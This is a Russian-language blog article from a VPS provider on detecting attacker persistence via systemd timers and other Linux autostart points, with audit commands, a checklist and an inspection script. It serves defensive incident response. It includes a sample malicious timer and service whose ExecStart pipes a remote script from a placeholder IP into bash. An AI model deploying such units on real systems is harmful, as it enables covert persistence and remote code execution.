MAATRIX / Блог / Systemd-таймер как способ закрепиться: проверяем все точки автозапуска

Systemd-таймер как способ закрепиться: проверяем все точки автозапуска

MAATRIX

Когда ищут следы взлома на Linux-сервере, почти все первым делом смотрят crontab -l и /etc/cron.d — это въелось в привычку ещё с эпохи sysvinit. Проблема в том, что на любом дистрибутиве последних лет параллельно с cron работает systemd с его таймерами, и всё больше атакующих закрепляются именно там: механизм даёт то же самое — регулярный запуск команды — но остаётся вне зоны внимания при беглом аудите. Разберём, как искать все активные таймеры и юниты, где они физически лежат и как не упустить остальные точки автозапуска, пока проверяете одну.

Почему таймеры обходят привычную проверку

Systemd timers существуют в системе минимум с 2010-х и во всех современных дистрибутивах (Debian, Ubuntu, AlmaLinux, RHEL) — это не экзотика, а штатный планировщик, который используется самой ОС: systemd-tmpfiles-clean.timer, apt-daily.timer, fstrim.timer и десятки других стоят «из коробки». Именно поэтому лишний таймер легко теряется среди легитимных — в отличие от crontab, где даже пустой вывод crontab -l сразу бросается в глаза как «здесь ничего нет».

Есть и техническая причина, почему таймеры удобнее для закрепления, чем cron:

  • Меньше внимания при инцидент-ответе. Чек-листы поиска компрометации годами писались с прицелом на cron, и многие до сих пор не включают systemctl list-timers как обязательный шаг.
  • Расширенные возможности планирования. OnCalendar= умеет то же, что cron, плюс Persistent=true («наверстать» пропущенный запуск после простоя) и привязку к событиям (OnBootSec=, OnUnitActiveSec=), а не только к времени — таймер переживает ребут надёжнее одной строки в crontab.
  • Легитимный вид. Файл .timer + .service с именем вроде network-monitor.timer не выглядит подозрительно рядом с десятком таких же системных таймеров — в отличие от строки */5 * * * * curl ... | bash в crontab, которая читается как тревога с первого взгляда.

Итог простой: если при разборе инцидента вы проверили только cron и не притронулись к systemctl list-timers, вы прошли мимо ровно того механизма, на который многие атакующие целенаправленно переключились.

systemctl list-timers: как увидеть все активные таймеры

Базовая команда, с которой стоит начинать любой аудит автозапуска:

systemctl list-timers --all

Флаг --all обязателен: без него команда покажет только активные (запущенные) таймеры, а неактивные (например, включённые, но ещё не сработавшие ни разу, либо намеренно остановленные) выпадут из вывода. Типичная строка результата:

NEXT                        LEFT     LAST                         PASSED  UNIT                     ACTIVATES
Tue 2026-08-25 03:00:00 UTC 4h 12min Mon 2026-08-24 03:00:00 UTC  19h ago fstrim.timer             fstrim.service
Tue 2026-08-25 12:34:00 UTC 13h left n/a                          n/a     network-monitor.timer    network-monitor.service

На что смотреть в первую очередь:

  • Колонка LAST со значением n/a. Таймер ни разу не срабатывал с момента загрузки — либо он свежий, либо триггерится редко. Само по себе не признак компрометации, но повод свериться с датой создания юнита.
  • Незнакомое имя в UNIT и ACTIVATES. Особенно если название маскируется под системное: systemd-update-check.timer, apt-daily-cleanup.timer — похоже на легитимное, но реального юнита с таким полным именем в дистрибутиве нет.
  • Частота, не типичная для обслуживания. Легитимные системные таймеры срабатывают раз в день/неделю (apt-daily, logrotate, fstrim). Таймер, который бьёт каждые 1-5 минут — либо мониторинг, либо маячок закрепления.

Для сверки конкретного юнита с его содержимым:

systemctl cat network-monitor.timer
systemctl cat network-monitor.service

Команда systemctl cat покажет полный путь к файлу и весь его текст, включая переопределения через drop-in каталоги (*.d/*.conf) — это важно, потому что итоговое поведение юнита может собираться из нескольких файлов, а не одного.

Отдельно стоит вывести список вообще всех юнитов типа .timer, включая отключённые (disabled), которые не попадут в list-timers, потому что она показывает только загруженные в память таймеры:

systemctl list-unit-files --type=timer

Это покажет состояние (enabled, disabled, static, masked) для каждого установленного .timer-юнита — в том числе тех, что были загружены, но потом отключены командой systemctl disable, а файл остался на диске и может быть включён обратно в любой момент.

Нужен сервер под эту задачу?

Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.

Арендовать сервер

Где физически хранятся unit-файлы

Systemd ищет юниты в нескольких каталогах с чёткой иерархией приоритета — ключевой момент для поиска закрепления, потому что более приоритетный каталог переопределяет юнит с тем же именем в менее приоритетном, не удаляя оригинал.

КаталогКто туда пишетПриоритет
/etc/systemd/system/Администратор вручную, systemctl edit, атакующийВысший — переопределяет всё ниже
/run/systemd/system/Временные юниты, генераторы во время загрузкиВысокий, но не переживает перезагрузку
/usr/lib/systemd/system/ (на Debian/Ubuntu — /lib/systemd/system/)Пакетные менеджеры (apt, dnf) при установке пакетовБазовый, «из коробки»
~/.config/systemd/user/Пользовательские юниты конкретного пользователяТолько для этого пользователя, при --user
/etc/systemd/user/Пользовательские юниты, общие для всех пользователейАналог /etc/systemd/system, но для user-режима

Важный нюанс для поиска закрепления: если атакующий создаёт файл fstrim.timer в /etc/systemd/system/, он полностью перекрывает легитимный fstrim.timer из /usr/lib/systemd/system/ — привычное, «доверенное» имя начинает делать что-то совсем другое, а беглая проверка по имени юнита ничего не покажет. Поэтому при аудите сверяйте не только список активных таймеров, но и то, из какого именно каталога каждый юнит фактически загружен:

systemctl show network-monitor.timer -p FragmentPath

Полезно сразу поднять всё, что лежит в каталогах ручного администрирования, и посмотреть на даты изменения:

find /etc/systemd/system /run/systemd/system -name "*.timer" -o -name "*.service" 2>/dev/null | xargs ls -la --time-style=full-iso

Если файл создан или изменён недавно, а вы не помните, чтобы кто-то из команды разворачивал такой юнит — это повод разобраться отдельно. На системах с пакетным менеджером проверьте, принадлежит ли файл установленному пакету:

dpkg -S /etc/systemd/system/network-monitor.timer   # Debian/Ubuntu
rpm -qf /etc/systemd/system/network-monitor.timer    # AlmaLinux/RHEL

Файл без привязки к пакету в /etc/systemd/system — не всегда приговор (туда легитимно пишут Docker Compose с systemd-интеграцией, Ansible-роли), но первый кандидат на ручную проверку содержимого.

Не забывайте про пользовательские таймеры — они работают без root и выпадают из поля зрения при аудите под привилегированным пользователем:

systemctl --user list-timers --all
loginctl show-user <username> -p Linger

Такие юниты могут запускаться даже после выхода пользователя из системы, если для него включён linger (loginctl enable-linger <username>) — проверяйте это по каждому локальному пользователю, а не только по root и сервисным аккаунтам.

Анатомия вредоносной пары timer + service

Таймер сам ничего не выполняет — он планирует запуск связанного .service-юнита с тем же базовым именем (если не указано иное через Unit=). Разберём типичный пример закрепления:

# /etc/systemd/system/network-monitor.timer
[Unit]
Description=Network connectivity monitor

[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
Persistent=true

[Install]
WantedBy=timers.target
# /etc/systemd/system/network-monitor.service
[Unit]
Description=Network connectivity check

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -s https://185.xx.xx.xx/update.sh | bash'

Признаки, на которые стоит обращать внимание при чтении подобных юнитов:

  • ExecStart с пайпом в shell. Конструкция curl ... | bash или wget -qO- ... | sh — классика: то, что реально выполняется, не хранится на диске постоянно и не оставляет файла для проверки, только сетевой запрос в момент срабатывания.
  • Persistent=true. Легитимная опция (стоит и у apt-daily.timer) — но в связке с частым интервалом и подозрительным ExecStart означает, что даже выключенный на ночь сервер «наверстает» пропущенный запуск сразу после загрузки.
  • Небрежное оформление [Install]. Отсутствие секции или WantedBy=multi-user.target вместо timers.target — признак, что юнит писали руками, а не по шаблону пакетного менеджера.
  • User= не указан. Значит, сервис выполняется от root, если явно не сброшены привилегии через User=/DynamicUser=.

Проверить, что реально запускалось по таймеру и когда, можно через journald — это отдельный, независимый от файлов юнита источник истории:

journalctl -u network-monitor.service --since "7 days ago"

Если сам юнит уже удалён атакующим при попытке замести следы, а системный журнал не чистили (или чистили не полностью — см. далее про journalctl _COMM=), записи о его срабатываниях в journald могут сохраниться и стать единственной уликой.

Полный чек-лист точек автозапуска в Linux

Таймеры — только один механизм из многих. Полный обход должен пройти по всем точкам ниже, иначе вы рискуете вычистить одну и оставить остальные рабочими:

МеханизмГде искатьКоманда для проверки
systemd services/etc/systemd/system, /usr/lib/systemd/systemsystemctl list-unit-files --type=service
systemd timersте же каталоги + ~/.config/systemd/usersystemctl list-timers --all
cron системный/etc/crontab, /etc/cron.d/cat /etc/crontab; ls /etc/cron.d/
cron периодический/etc/cron.daily, .hourly, .weekly, .monthlyls -la /etc/cron.*
cron пользовательский/var/spool/cron/crontabs/<user>for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u $u; done
at-задачи (разовый отложенный запуск)/var/spool/cron/atjobsatq; at -c <job_id>
udev rules (запуск при событии устройства)/etc/udev/rules.d/, /usr/lib/udev/rules.d/grep -r RUN /etc/udev/rules.d/
init-скрипты SysV (легаси, но встречается)/etc/init.d/, симлинки в /etc/rc*.d/ls -la /etc/init.d/; ls /etc/rc3.d/
rc.local (устаревший, но иногда живой)/etc/rc.localcat /etc/rc.local
shell-профили при логине/etc/profile.d/*.sh, ~/.bashrc, ~/.bash_profile, ~/.zshrccat ~/.bashrc; ls /etc/profile.d/
XDG автозапуск / LD_PRELOAD~/.config/autostart/, /etc/ld.so.preloadls ~/.config/autostart/; cat /etc/ld.so.preload 2>/dev/null

Каждая точка по отдельности хорошо описана в гайдах по харденингу, но именно поэтому — их слишком много, чтобы держать в голове — для разбора инцидента практичнее пройти по списку целиком за один присест. Похожий принцип виден на примере одного конкретного случая: reverse shell в cron у пользователя, которого никто не заводил — там атакующий тоже не ограничился одним механизмом, а добавил и пользователя, и SSH-ключ, и crontab «про запас».

Как провести полный обход, не пропустив механизм

Держать в голове весь чек-лист выше при каждом разборе неудобно, поэтому имеет смысл собрать проверку в скрипт и гонять его не только в момент подозрения на взлом, а регулярно — как базовую сверку с эталоном.

#!/bin/bash
echo "== systemd timers =="
systemctl list-timers --all --no-pager

echo "== юниты вне /usr/lib (ручные/подозрительные) =="
find /etc/systemd/system /run/systemd/system -maxdepth 1 \( -name "*.timer" -o -name "*.service" \) 2>/dev/null

echo "== системный и пользовательский cron =="
cat /etc/crontab 2>/dev/null
ls /etc/cron.d/ /etc/cron.daily/ 2>/dev/null
for u in $(cut -f1 -d: /etc/passwd); do
  out=$(crontab -l -u "$u" 2>/dev/null)
  [ -n "$out" ] && echo "--- $u ---" && echo "$out"
done

echo "== at-задачи и udev =="
atq 2>/dev/null
grep -rH "RUN" /etc/udev/rules.d/ 2>/dev/null

echo "== rc.local =="
cat /etc/rc.local 2>/dev/null

Ключевая мысль не в тексте скрипта (адаптируйте под свой дистрибутив, не запускайте вслепую на проде), а в подходе: один прогон, все механизмы разом, с сохранением вывода в файл и сравнением с прошлым прогоном через diff — это надёжнее человеческой памяти под давлением инцидента.

Отдельно проверяйте целостность существующих unit-файлов — атакующий с root-доступом может не добавлять новый юнит, а незаметно дописать ExecStart в легитимный через drop-in override:

systemctl show sshd.service -p DropInPaths
find /etc/systemd/system/*.d/ -name "*.conf" 2>/dev/null

Drop-in каталоги (<unit>.d/override.conf) — легитимный механизм переопределения части параметров без правки оригинального файла, но именно поэтому он удобен и для скрытого добавления команды: базовый sshd.service остаётся нетронутым, а лишняя команда подмешивается через override и не бросается в глаза при беглом cat. Если после инцидента остаются сомнения, что вычищены все точки закрепления — надёжнее поднять сервис заново из чистого образа, чем полагаться на точечную зачистку; общий порядок действий собран в чек-листе что делать при взломе, а понимание того, как systemd стартует юниты при загрузке, помогает отличать штатное поведение от подозрительного — это разобрано в статье как работает systemd при загрузке.

Для регулярного, а не разового контроля полезно настроить auditd с правилами на слежение за записью в системные каталоги юнитов и вызовами useradd/crontab — тогда подобные изменения оставляют прямой след в журнале аудита, а не требуют реконструкции по косвенным уликам постфактум. Подробная настройка описана в статье про аудит логов сервера через auditd.

Нужен сервер под эту задачу?

Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.

Арендовать сервер

Нужны сами нейросети для контента?

Генерируйте изображения, видео и озвучку нейросетями на falapi.io — десятки моделей в одном окне. Оплата картой РФ и по СБП.

Частые вопросы

Как быстро понять, что таймер добавлен недавно?

Сравните дату модификации файла (ls -la --time-style=full-iso) с принадлежностью пакету (dpkg -S или rpm -qf). Файл в /etc/systemd/system, не привязанный ни к одному пакету — первый кандидат на проверку содержимого.

Может ли обычный пользователь без root создать таймер для закрепления?

Да, через ~/.config/systemd/user/ и systemctl --user enable --now. Такой таймер работает с правами пользователя и, при включённом linger (loginctl enable-linger), переживает выход из сессии. Проверяйте systemctl --user list-timers для каждого локального аккаунта, а не только для root.

Достаточно ли systemctl list-timers --all, чтобы найти все таймеры?

Нет — команда показывает только загруженные системные таймеры. Отключённые юниты, чьи файлы остались на диске, ищите через systemctl list-unit-files --type=timer, а пользовательские — отдельно с флагом --user.

Отличается ли надёжность закрепления через timer и через cron?

Для самой персистентности разницы почти нет — оба переживают перезагрузку. Разница в обнаружении: cron проверяют почти всегда по умолчанию, а systemd-юниты — не всегда, особенно если чек-лист инцидент-ответа не обновлялся под текущие механизмы.

Стоит ли запретить пользователям создавать свои systemd-юниты?

Полный запрет обычно избыточен и мешает легитимным сценариям вроде локальных демонов разработки. Практичнее — мониторинг изменений в каталогах юнитов через auditd или периодический diff с эталонным списком.

Обсудить статью, задать вопрос или начать новую тему

Есть вопрос по этой статье, идея для обсуждения или просто хотите поделиться опытом? Сообщество MAATRIX ждёт. Для общения, пожалуйста, зарегистрируйтесь в нашем личном кабинете.

Перейти в сообщество →